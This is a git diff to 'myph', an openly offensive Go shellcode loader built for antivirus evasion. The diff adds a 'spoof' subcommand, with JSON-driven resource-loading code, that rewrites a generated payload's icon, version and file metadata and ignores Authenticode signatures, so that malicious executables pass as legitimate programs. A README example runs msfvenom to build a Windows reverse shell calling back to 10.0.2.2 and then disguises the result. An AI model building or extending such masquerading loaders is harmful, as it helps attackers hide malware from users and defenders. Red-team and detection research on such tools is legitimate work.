diff --git a/.github/test-data/example.json b/.github/test-data/example.json
@@ -0,0 +1,35 @@
+{
+ "RT_GROUP_ICON": {
+ "APP": {
+ "0000": [
+ "smersh.png"
+ ]
+ },
+ "#42": {
+ "040C": "pwned.ico"
+ }
+ },
+ "RT_MANIFEST": {
+ "#1": {
+ "0409": {}
+ }
+ },
+ "RT_VERSION": {
+ "#1": {
+ "0409": {
+ "info": {
+ "0409": {
+ "FileDescription": "golang shellcode loader",
+ "InternalName": "myph",
+ "LegalCopyright": "CMEPW -- GPLv3",
+ "OriginalFilename": "payload.exe",
+ "ProductName": "myph-payload",
+ "ProductVersion": "1.0",
+ "FileVersion": "1.0",
+ "Comments": "Ca devrait le faire"
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/.github/test-data/pwned.ico b/.github/test-data/pwned.ico
Binary files differ.
diff --git a/.github/test-data/smersh.png b/.github/test-data/smersh.png
Binary files differ.
diff --git a/Makefile b/Makefile
@@ -2,7 +2,7 @@
# -------------------
APP_NAME = myph
-APP_VERSION = 1.1.0
+APP_VERSION = 1.2.0
GIT_REVISION = `git rev-parse HEAD`
DOCKER_IMAGE_TAG ?= $(APP_VERSION)
DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
diff --git a/README.md b/README.md
@@ -41,6 +41,12 @@ go install github.com/cmepw/myph@latest
```
Usage:
myph [flags]
+ myph [command]
+
+Available Commands:
+ completion Generate the autocompletion script for the specified shell
+ help Help about any command
+ spoof spoof PE metadata using versioninfo
Flags:
-e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
@@ -52,9 +58,11 @@ Flags:
--sleep-time uint sleep time in seconds before executing loader (default: 0)
-t, --technique string shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall) (default "CRT")
-v, --version version for myph
+
+Use "myph [command] --help" for more information about a command.
```
-#### Methods
+#### Loader Methods
This tool supports few methods for now, but aims to add more as time goes on:
- CreateThread
@@ -65,7 +73,7 @@ This tool supports few methods for now, but aims to add more as time goes on:
If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
-#### Example
+#### Example run
Generate a payload like so:
@@ -78,6 +86,9 @@ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o ms
# you should find your payload here
file ./something.exe
+
+# add some program metada
+./myph spoof --pe something.exe --file .github/test-data/example.json
```
#### Using docker
@@ -90,6 +101,72 @@ make docker
docker build . -t myph:latest
```
+#### Editing file properties
+
+A subcommand is available to edit a PE file's properties & change its icon or file version (for instance).
+For more information on CLI usage, you can run:
+```bash
+# will give you a little help display
+./myph spoof --help
+
+# will edit demo.exe with the data specified in example.json
+./myph spoof --pe demo.exe --file example.json
+```
+
+It expects a JSON file, containing the metadata you want to set. You can find an example in `.github/test-data` directory.
+
+Information on resource types and language IDs can be found [here](https://learn.microsoft.com/en-us/windows/win32/menurc/resource-types) and [here](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/70feba9f-294e-491e-b6eb-56532684c37f).
+
+You can set data depending on the language.
+BMP, ICO, and PNG files are supported, and you can a wide array of information:
+
+```json
+{
+ "RT_VERSION": {
+ "#1": {
+ "0000": {
+ "fixed": {
+ "file_version": "1.2",
+ "product_version": "1.2.3",
+ "flags": "Debug,Patched",
+ "timestamp": "2020-12-18T23:00:00+01:00"
+ },
+ "info": {
+ "0409": {
+ "Comments": "that should do it",
+ "CompanyName": "Smersh",
+ "FileDescription": "smrsh 4 evr",
+ "FileVersion": "1.2",
+ "InternalName": "",
+ "LegalCopyright": "GNU GPL v3",
+ "LegalTrademarks": "",
+ "OriginalFilename": "myph.exe",
+ "PrivateBuild": "",
+ "ProductName": "myph ldr",
+ "ProductVersion": "1.2 release",
+ "SpecialBuild": ""
+ },
+ "040C": {
+ "Comments": "ca devrait le faire",
+ "CompanyName": "Smersh",
+ "FileDescription": "smrh pr tjrs",
+ "FileVersion": "1.2",
+ "InternalName": "",
+ "LegalCopyright": "GNU GPL v3",
+ "LegalTrademarks": "",
+ "OriginalFilename": "myph.exe",
+ "PrivateBuild": "",
+ "ProductName": "myph ldr",
+ "ProductVersion": "1.2 release",
+ "SpecialBuild": ""
+ }
+ }
+ }
+ }
+ }
+}
+```
+
### Contributing
Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~
diff --git a/TODO.txt b/TODO.txt
@@ -13,9 +13,6 @@ Misc:
- Refactoring CLI options to interfaces
- Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
-Commands:
- - Add support for GoVersionInfo
-
#############################
####### ROADMAP 1.3.0 #######
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -7,15 +7,17 @@ import (
// Get default value for Options struct
func GetDefaultCLIOptions() Options {
opts := Options{
- ShellcodePath: "msf.raw",
- OutName: "payload.exe",
- OS: "windows",
- Arch: "amd64",
- Target: "cmd.exe",
- Encryption: EncKindAES,
- Key: "",
- Technique: "CRT",
- SleepTime: 0,
+ ShellcodePath: "msf.raw",
+ OutName: "payload.exe",
+ OS: "windows",
+ Arch: "amd64",
+ Target: "cmd.exe",
+ Encryption: EncKindAES,
+ Key: "",
+ Technique: "CRT",
+ SleepTime: 0,
+ PEFilePath: "payload.exe",
+ VersionFilePath: "goversion.json",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -4,10 +4,13 @@ import (
"fmt"
"os"
"os/exec"
+ "path/filepath"
"github.com/cmepw/myph/loaders"
+ "github.com/cmepw/myph/rc"
"github.com/cmepw/myph/tools"
"github.com/spf13/cobra"
+ "github.com/tc-hib/winres"
)
const MYPH_TMP_DIR = "/tmp/myph-out"
@@ -41,8 +44,61 @@ const ASCII_ART = `
func GetParser(opts *Options) *cobra.Command {
- version := "1.1.0"
- var cmd = &cobra.Command{
+ version := "1.2.0"
+ var spoofMetadata = &cobra.Command{
+ Use: "spoof",
+ Version: version,
+ DisableSuggestions: true,
+ Short: "spoof PE metadata using versioninfo",
+ Long: ASCII_ART,
+ Run: func(cmd *cobra.Command, args []string) {
+
+ /* obligatory skid ascii art */
+ fmt.Printf("%s\n\n", ASCII_ART)
+
+ exe, err := os.Open(opts.PEFilePath)
+ if err != nil {
+ panic(err)
+ }
+ defer exe.Close()
+
+ rs, err := winres.LoadFromEXE(exe)
+ if err != nil {
+ rs = &winres.ResourceSet{}
+ }
+
+ err = rc.LoadResourcesFromJson(rs, opts.VersionFilePath)
+ if err != nil {
+ panic(err)
+ }
+
+ fmt.Printf("[+] Successfully extracted PE metadata from JSON\n")
+
+ tmpPath := "/tmp/" + filepath.Base(opts.PEFilePath) + ".tmp"
+ out, err := os.Create(tmpPath)
+ if err != nil {
+ panic(err)
+ }
+ defer out.Close()
+
+ err = rs.WriteToEXE(out, exe, winres.WithAuthenticode(winres.IgnoreSignature))
+ if err != nil {
+ panic(err)
+ }
+
+ fmt.Printf("[+] New metadata is set !\n")
+
+ exe.Close()
+ out.Close()
+
+ os.Remove(opts.PEFilePath)
+ os.Rename(tmpPath, opts.PEFilePath)
+
+ fmt.Printf("[+] Done !\n")
+ },
+ }
+
+ var runLoader = &cobra.Command{
Use: "myph",
Version: version,
DisableSuggestions: true,
@@ -208,16 +264,20 @@ func GetParser(opts *Options) *cobra.Command {
}
defaults := GetDefaultCLIOptions()
+ var rootCmd = runLoader
- cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
- cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
- cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+ rootCmd.AddCommand(spoofMetadata)
- cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
- cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+ rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
+ rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
+ rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+ rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+ rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
+ rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+ rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
- cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
+ spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
+ spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
- return cmd
+ return rootCmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -90,4 +90,10 @@ type Options struct {
// Sleep time before running execution
SleepTime uint
+
+ // Goversion filepath
+ VersionFilePath string
+
+ // PE filepath
+ PEFilePath string
}
diff --git a/go.mod b/go.mod
@@ -9,6 +9,9 @@ require (
require (
github.com/inconshreveable/mousetrap v1.1.0 // indirect
+ github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
github.com/spf13/pflag v1.0.5 // indirect
+ github.com/tc-hib/winres v0.2.0 // indirect
+ golang.org/x/image v0.1.0 // indirect
golang.org/x/sys v0.10.0 // indirect
)
diff --git a/go.sum b/go.sum
@@ -1,14 +1,44 @@
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
+github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/tc-hib/winres v0.2.0 h1:gly/ivDWGvlhl7ENtEmA7wPQ6dWab1LlLq/DgcZECKE=
+github.com/tc-hib/winres v0.2.0/go.mod h1:uG6S5M2Q0/kThoqsCSYvGJODUQP9O9R0SNxUPmFIegw=
+github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
+golang.org/x/image v0.1.0 h1:r8Oj8ZA2Xy12/b5KZYj3tuv7NG/fBz3TwQVvpJ9l8Rk=
+golang.org/x/image v0.1.0/go.mod h1:iyPr49SD/G/TBxYVB/9RRtGUT5eNbo2u4NamWeQcD5c=
+golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -13,10 +13,6 @@ import (
*/
func GetProcessHollowingTemplate(targetProcess string) string {
-
- println("\n[!] Please be aware ProcessHollowing implementation is still a work in progress and unstable.")
- println("Maybe you could use another technique instead...? I hear the CRT one is pretty good...\n")
-
return fmt.Sprintf(`
package main
diff --git a/rc/fromJson.go b/rc/fromJson.go
@@ -0,0 +1,383 @@
+package rc
+
+/*
+ Copied from :
+ https://github.com/tc-hib/go-winres/blob/main/resdir.go
+
+ and took just what we need. I left the data types as-is
+ if we want to expand usage later.
+
+ it would be really cool if this was just in the library,
+ but it might be actually, id have to check this out.
+*/
+
+import (
+ "encoding/json"
+ "errors"
+ "image"
+ "os"
+ "path/filepath"
+ "sort"
+ "strconv"
+ "strings"
+
+ "github.com/tc-hib/winres"
+ "github.com/tc-hib/winres/version"
+)
+
+const (
+ errInvalidSet = "invalid resource set definition"
+ errInvalidCursor = "invalid cursor definition"
+ errInvalidIcon = "invalid icon definition"
+)
+
+type jsonDef map[string]map[string]map[string]interface{}
+
+var typeIDToString = map[winres.ID]string{
+ winres.RT_CURSOR: "RT_CURSOR",
+ winres.RT_BITMAP: "RT_BITMAP",
+ winres.RT_ICON: "RT_ICON",
+ winres.RT_MENU: "RT_MENU",
+ winres.RT_DIALOG: "RT_DIALOG",
+ winres.RT_STRING: "RT_STRING",
+ winres.RT_FONTDIR: "RT_FONTDIR",
+ winres.RT_FONT: "RT_FONT",
+ winres.RT_ACCELERATOR: "RT_ACCELERATOR",
+ winres.RT_RCDATA: "RT_RCDATA",
+ winres.RT_MESSAGETABLE: "RT_MESSAGETABLE",
+ winres.RT_GROUP_CURSOR: "RT_GROUP_CURSOR",
+ winres.RT_GROUP_ICON: "RT_GROUP_ICON",
+ winres.RT_VERSION: "RT_VERSION",
+ winres.RT_PLUGPLAY: "RT_PLUGPLAY",
+ winres.RT_VXD: "RT_VXD",
+ winres.RT_ANICURSOR: "RT_ANICURSOR",
+ winres.RT_ANIICON: "RT_ANIICON",
+ winres.RT_HTML: "RT_HTML",
+ winres.RT_MANIFEST: "RT_MANIFEST",
+}
+
+var typeIDFromString = map[string]winres.ID{
+ "RT_CURSOR": winres.RT_CURSOR,
+ "RT_BITMAP": winres.RT_BITMAP,
+ "RT_ICON": winres.RT_ICON,
+ "RT_MENU": winres.RT_MENU,
+ "RT_DIALOG": winres.RT_DIALOG,
+ "RT_STRING": winres.RT_STRING,
+ "RT_FONTDIR": winres.RT_FONTDIR,
+ "RT_FONT": winres.RT_FONT,
+ "RT_ACCELERATOR": winres.RT_ACCELERATOR,
+ "RT_RCDATA": winres.RT_RCDATA,
+ "RT_MESSAGETABLE": winres.RT_MESSAGETABLE,
+ "RT_GROUP_CURSOR": winres.RT_GROUP_CURSOR,
+ "RT_GROUP_ICON": winres.RT_GROUP_ICON,
+ "RT_VERSION": winres.RT_VERSION,
+ "RT_PLUGPLAY": winres.RT_PLUGPLAY,
+ "RT_VXD": winres.RT_VXD,
+ "RT_ANICURSOR": winres.RT_ANICURSOR,
+ "RT_ANIICON": winres.RT_ANIICON,
+ "RT_HTML": winres.RT_HTML,
+ "RT_MANIFEST": winres.RT_MANIFEST,
+}
+
+func idsFromStrings(t, r, l string) (winres.Identifier, winres.Identifier, uint16, error) {
+ var (
+ typeID winres.Identifier
+ resID winres.Identifier
+ langID uint16
+ )
+
+ if id, ok := typeIDFromString[t]; ok {
+ typeID = id
+ } else {
+ typeID = stringToIdentifier(t)
+ }
+ if typeID == nil {
+ return nil, nil, 0, errors.New("invalid type identifier")
+ }
+
+ resID = stringToIdentifier(r)
+ if resID == nil {
+ return nil, nil, 0, errors.New("invalid resource identifier")
+ }
+
+ n, err := strconv.ParseUint(l, 16, 16)
+ if err != nil {
+ return nil, nil, 0, errors.New("invalid language identifier")
+ }
+ langID = uint16(n)
+
+ return typeID, resID, langID, nil
+}
+
+func stringToIdentifier(s string) winres.Identifier {
+ if s == "" {
+ return nil
+ }
+ if s[0] == '#' {
+ n, err := strconv.ParseInt(s[1:], 10, 16)
+ if err == nil {
+ return winres.ID(n)
+ }
+ }
+ return winres.Name(s)
+}
+
+func LoadResourcesFromJson(rs *winres.ResourceSet, jsonName string) error {
+ dir := filepath.Dir(jsonName)
+ b, err := os.ReadFile(jsonName)
+
+ if err != nil {
+ return err
+ }
+ res := jsonDef{}
+ err = json.Unmarshal(b, &res)
+ if err != nil {
+ return err
+ }
+
+ for tid, t := range res {
+ for _, r := range sortedRes(t) {
+ for _, l := range sortedLang(r.langs) {
+ typeID, resID, langID, err := idsFromStrings(tid, r.id, l.id)
+ if err != nil {
+ return err
+ }
+ switch typeID {
+ case winres.RT_ICON:
+ return errors.New("cannot import RT_ICON resources directly, use RT_GROUP_ICON instead")
+ case winres.RT_CURSOR:
+ return errors.New("cannot import RT_CURSOR resources directly, use RT_GROUP_CURSOR instead")
+ case winres.RT_GROUP_CURSOR:
+ cursor, err := loadCursor(dir, l.data)
+ if err != nil {
+ return err
+ }
+ err = rs.SetCursorTranslation(resID, langID, cursor)
+ if err != nil {
+ return err
+ }
+ case winres.RT_GROUP_ICON:
+ icon, err := loadIcon(dir, l.data)
+ if err != nil {
+ return err
+ }
+ err = rs.SetIconTranslation(resID, langID, icon)
+ if err != nil {
+ return err
+ }
+ case winres.RT_VERSION:
+ vi := version.Info{}
+ j, _ := json.Marshal(l.data)
+ err = json.Unmarshal(j, &vi)
+ if err != nil {
+ return err
+ }
+ rs.SetVersionInfo(vi)
+ case winres.RT_BITMAP:
+ filename, ok := l.data.(string)
+ if !ok {
+ return errors.New(errInvalidSet)
+ }
+ dib, err := loadBMP(filepath.Join(dir, filename))
+ if err != nil {
+ return err
+ }
+ err = rs.Set(winres.RT_BITMAP, resID, langID, dib)
+ if err != nil {
+ return err
+ }
+ case winres.RT_MANIFEST:
+ switch val := l.data.(type) {
+ case string:
+ data, err := os.ReadFile(filepath.Join(dir, val))
+ if err != nil {
+ return err
+ }
+ err = rs.Set(typeID, resID, langID, data)
+ if err != nil {
+ return err
+ }
+ default:
+ j, _ := json.Marshal(val)
+ m := winres.AppManifest{}
+ err = json.Unmarshal(j, &m)
+ if err != nil {
+ return err
+ }
+ rs.SetManifest(m)
+ }
+ default:
+ filename, ok := l.data.(string)
+ if !ok {
+ return errors.New(errInvalidSet)
+ }
+ data, err := os.ReadFile(filepath.Join(dir, filename))
+ if err != nil {
+ return err
+ }
+ err = rs.Set(typeID, resID, langID, data)
+ if err != nil {
+ return err
+ }
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+type resource struct {
+ id string
+ langs map[string]interface{}
+}
+
+type lang struct {
+ id string
+ data interface{}
+}
+
+func sortedRes(m map[string]map[string]interface{}) []resource {
+ var res []resource
+ for id, langs := range m {
+ res = append(res, resource{id, langs})
+ }
+ sort.Slice(res, func(i, j int) bool {
+ return res[i].id < res[j].id
+ })
+ return res
+}
+
+func sortedLang(m map[string]interface{}) []lang {
+ var l []lang
+ for id, data := range m {
+ l = append(l, lang{id, data})
+ }
+ sort.Slice(l, func(i, j int) bool {
+ return l[i].id < l[j].id
+ })
+ return l
+}
+
+func loadCursor(dir string, c interface{}) (*winres.Cursor, error) {
+ switch c := c.(type) {
+ case string:
+ return loadCUR(filepath.Join(dir, c))
+
+ case []interface{}:
+ var images []winres.CursorImage
+ for i := range c {
+ o, ok := c[i].(map[string]interface{})
+ if !ok {
+ return nil, errors.New(errInvalidCursor)
+ }
+ curImg, err := loadCursorImage(dir, o)
+ if err != nil {
+ return nil, err
+ }
+ images = append(images, curImg)
+ }
+ return winres.NewCursorFromImages(images)
+
+ case map[string]interface{}:
+ curImg, err := loadCursorImage(dir, c)
+ if err != nil {
+ return nil, err
+ }
+ return winres.NewCursorFromImages([]winres.CursorImage{curImg})
+ }
+
+ return nil, errors.New(errInvalidCursor)
+}
+
+func loadCursorImage(dir string, c map[string]interface{}) (winres.CursorImage, error) {
+ x, xOK := c["x"].(float64)
+ y, yOK := c["y"].(float64)
+ f, fOK := c["image"].(string)
+ if !fOK || !xOK || !yOK {
+ return winres.CursorImage{}, errors.New(errInvalidCursor)
+ }
+
+ img, err := loadImage(filepath.Join(dir, f))
+ if err != nil {
+ return winres.CursorImage{}, err
+ }
+
+ return winres.CursorImage{
+ Image: img,
+ HotSpot: winres.HotSpot{X: uint16(x), Y: uint16(y)},
+ }, nil
+}
+
+func loadIcon(dir string, x interface{}) (*winres.Icon, error) {
+ switch x := x.(type) {
+ case string:
+ if strings.ToLower(filepath.Ext(x)) == ".ico" {
+ return loadICO(filepath.Join(dir, x))
+ }
+ img, err := loadImage(filepath.Join(dir, x))
+ if err != nil {
+ return nil, err
+ }
+ return winres.NewIconFromResizedImage(img, nil)
+ case []interface{}:
+ var images []image.Image
+ for i := range x {
+ f, ok := x[i].(string)
+ if !ok {
+ return nil, errors.New(errInvalidIcon)
+ }
+ img, err := loadImage(filepath.Join(dir, f))
+ if err != nil {
+ return nil, err
+ }
+ images = append(images, img)
+ }
+ return winres.NewIconFromImages(images)
+ }
+ return nil, errors.New(errInvalidIcon)
+}
+
+func loadImage(name string) (image.Image, error) {
+ f, err := os.Open(name)
+ if err != nil {
+ return nil, err
+ }
+ defer f.Close()
+
+ img, _, err := image.Decode(f)
+ return img, err
+}
+
+func loadCUR(name string) (*winres.Cursor, error) {
+ f, err := os.Open(name)
+ if err != nil {
+ return nil, err
+ }
+ defer f.Close()
+
+ return winres.LoadCUR(f)
+}
+
+func loadICO(name string) (*winres.Icon, error) {
+ f, err := os.Open(name)
+ if err != nil {
+ return nil, err
+ }
+ defer f.Close()
+
+ return winres.LoadICO(f)
+}
+
+func loadBMP(name string) ([]byte, error) {
+ b, err := os.ReadFile(name)
+ if err != nil {
+ return nil, err
+ }
+
+ if len(b) > 14 && b[0] == 'B' && b[1] == 'M' && int(b[5])<<24|int(b[4])<<16|int(b[3])<<8|int(b[2]) == len(b) {
+ return b[14:], nil
+ }
+
+ return b, nil
+}
| | | | | | | | | | | | |